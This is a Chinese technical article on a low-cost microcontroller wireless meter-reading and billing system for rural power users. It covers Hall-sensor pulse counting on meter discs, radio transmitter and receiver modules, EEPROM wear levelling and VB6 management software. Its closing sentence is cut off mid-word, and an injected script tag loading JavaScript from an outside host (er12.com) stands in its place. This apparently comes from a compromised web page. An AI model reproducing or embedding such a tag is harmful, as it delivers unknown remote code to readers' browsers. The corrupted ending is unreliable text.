一种实用的便携式无线抄表与管理系统的研究与设计

摘 要 本文给出我们研制的一种基于单片机的无线抄表与管理系统的工作原理与组成。从实际的应用情况来看,该系统的工作可靠、性价比高,是一种很适合于广大农村实际的抄表管理系统。

关键词 单片机 无线 抄表

1 引言

  目前,在广大的农村,为防止窃电现象的发生,一般采用将电度表安装在电线杆上的方式(一般一根线杆上会安装几台电度表)。这就不但给电工的抄表工作带来了不便(需要爬上、爬下),而且容易出现人情电等现象,为减少电工的劳动强度、安全及人情电等情况的发生,确保抄表的准确性,我们与某电力局合作,研制了一种适用于广大农村的经济型的无线抄表与管理系统。

  该系统是将传统的电度表进行一下简单的改造,抄表人员只需手持无线抄表仪就可将各个用电户的电表功率读出,并进行存储,等整个的抄表过程结束,就可与管理计算机进行对接,完成信息传递,便于管理计算机的信息管理。这样,既可以将每个用户的用电情况、应交的电费及缴纳电费的情况进行存储并对相应的报表进行打印,也可以通过modem和电话线完成用户用电信息向上一级用电管理单位的上传,以便上一级用电管理单位的管理。

2 系统的总体组成简介

  该系统主要由三部分组成,即pc机信息接收与管理系统(主要是管理软件)、无线接收、存储、显示系统及用户端的电度表用电测量无线发射系统。

系统的总体框图如图1所示:

3 管理级简介

  我们的管理级计算机的软件的设计采用的是vb6.0语言,信息的接收和发送利用mscom控件来完成。该系统完成的主要功能是,当无线信息接收系统完成用户用电信息的数据采集时,可以与之进行数据传递,将这些数据自动存入数据库,以便于这些信息的管理,完成诸如用电量、缴费信息查询、数据上传、报表及付费清单的打印等任务。图2为管理系统的主界面。

4 无线手持式电量接收系统

该系统的组成如图3所示。

  该部分采用菜单式设计,主要功能是完成对用户用电信息的接收、显示和存储及上传(传到管理级计算机)。如果有的用户不使用系统的管理级部分,就可以利用该系统的微型打印机接口,连接打印机后将接收的信息(用户的用电情况)进行打印。当然,系统还有数据擦除,抄表时间显示、记忆、数据接收完毕提示等功能。

  从系统的成本、体积及硬件资源等各方面考虑,选用的单片机是at89c52。需要指出的是,由北京捷麦通信有限公司生产的无线收发模块sa68d4r、sa68d4t是体积小、价格低、信息传输误码率低(模块本身采取了许多有效措施)、性价比较高的无线收发模块。为进一步提高信息传输的可靠性减少误码率,我们在软件设计中采用了诸如和差校验等多种校验措施,取得了非常理想的效果。

  设计中采用dallas公司ds1302来达到获取时间信息的目的,主要是考虑系统的硬件资源及有利于软件设计等方面的结果。图中的atmel公司的eeprom at28c64b的作用主要是暂存接收到的用户的各种信息情况以便上传、查询或者直接利用微型打印机进行相关信息的打印。

5 电量采集发射系统

  系统采用的是单片机at89c2051,可以同时对8个电度表的用电量进行测量,测量的结果每分钟刷新并发射一次。这是因为在一根电线杆上可能会装有几个用户的电度表(一般不会超过8个用户)。

系统的原理简图如图4所示。

  测量的原理就是在原有的电度表转盘上固定一个小磁钢,将霍尔型开关传感器放在转盘边上,使其感应面对着磁钢。转盘转动一圈,霍尔传感器就输出一个脉冲,这样就可以利用单片机的i/o口进行计数,脉冲数的总和就包含了电度表的用电信息,将这一信息进行相应的计算就可以求出用电的度数,之后将这一信息存储到at24c02,每隔一分钟刷新一次,由于相应的用户信息已经存储,发送时将这些信息相应地取出,连同用电信息一起通过  sa68d4t发送出去。

  这里值得一提的是,由于对at24c02(写入次数10万次)的刷新次数比较频繁,这会影响其使用寿命,因此这里采用了一种延长其工作寿命的办法;即,不是采用固定写入地址的方法,而是利用地址偏移轮流写入的方式,这就大大提高了该芯片的使用寿命。

6 系统的软件设计

  (1)电量采集发射系统的流程简图

主程序流程简图如图5所示

(2)无线手持式电量接收系统的程序流程简图

  主程序流程简图如图6所示

7 结束语

  本无线手持抄表系统从与合作单位的用户使用情况来看,系统的使用方便、简单、可靠性高,而且成本低、性价比高,是一种非常适合于广大农村实际的电量计量采?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计